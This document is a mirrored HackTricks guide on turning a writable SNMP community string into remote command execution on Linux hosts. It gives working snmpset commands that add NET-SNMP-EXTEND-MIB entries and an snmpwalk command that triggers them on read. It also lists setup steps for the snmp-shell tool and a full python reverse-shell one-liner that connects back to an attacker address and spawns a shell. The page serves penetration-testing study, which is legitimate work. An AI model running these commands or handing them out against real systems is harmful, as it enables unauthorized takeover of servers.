mirror of
https://github.com/carlospolop/hacktricks
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85 lines
4.9 KiB
Markdown
85 lines
4.9 KiB
Markdown
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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# SNMP RCE
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SNMP can be exploited by an attacker if the administrator overlooks its default configuration on the device or server. By **abusing SNMP community with write permissions (rwcommunity)** on a Linux operating system, the attacker can execute commands on the server.
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## Extending Services with Additional Commands
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To extend SNMP services and add extra commands, it is possible to append new **rows to the "nsExtendObjects" table**. This can be achieved by using the `snmpset` command and providing the necessary parameters, including the absolute path to the executable and the command to be executed:
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```bash
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snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
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'nsExtendStatus."evilcommand"' = createAndGo \
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'nsExtendCommand."evilcommand"' = /bin/echo \
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'nsExtendArgs."evilcommand"' = 'hello world'
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```
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## Injecting Commands for Execution
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Injecting commands to run on the SNMP service requires the existence and executability of the called binary/script. The **`NET-SNMP-EXTEND-MIB`** mandates providing the absolute path to the executable.
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To confirm the execution of the injected command, the `snmpwalk` command can be used to enumerate the SNMP service. The **output will display the command and its associated details**, including the absolute path:
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```bash
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snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
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```
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## Running the Injected Commands
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When the **injected command is read, it is executed**. This behavior is known as **`run-on-read()`** The execution of the command can be observed during the snmpwalk read.
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### Gaining Server Shell with SNMP
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To gain control over the server and obtain a server shell, a python script developed by mxrch can be utilized from [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
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Alternatively, a reverse shell can be manually created by injecting a specific command into SNMP. This command, triggered by the snmpwalk, establishes a reverse shell connection to the attacker's machine, enabling control over the victim machine.
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You can install the pre-requisite to run this:
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```bash
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sudo apt install snmp snmp-mibs-downloader rlwrap -y
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git clone https://github.com/mxrch/snmp-shell
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cd snmp-shell
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sudo python3 -m pip install -r requirements.txt
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```
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Or a reverse shell:
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```bash
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snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
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```
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## References
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* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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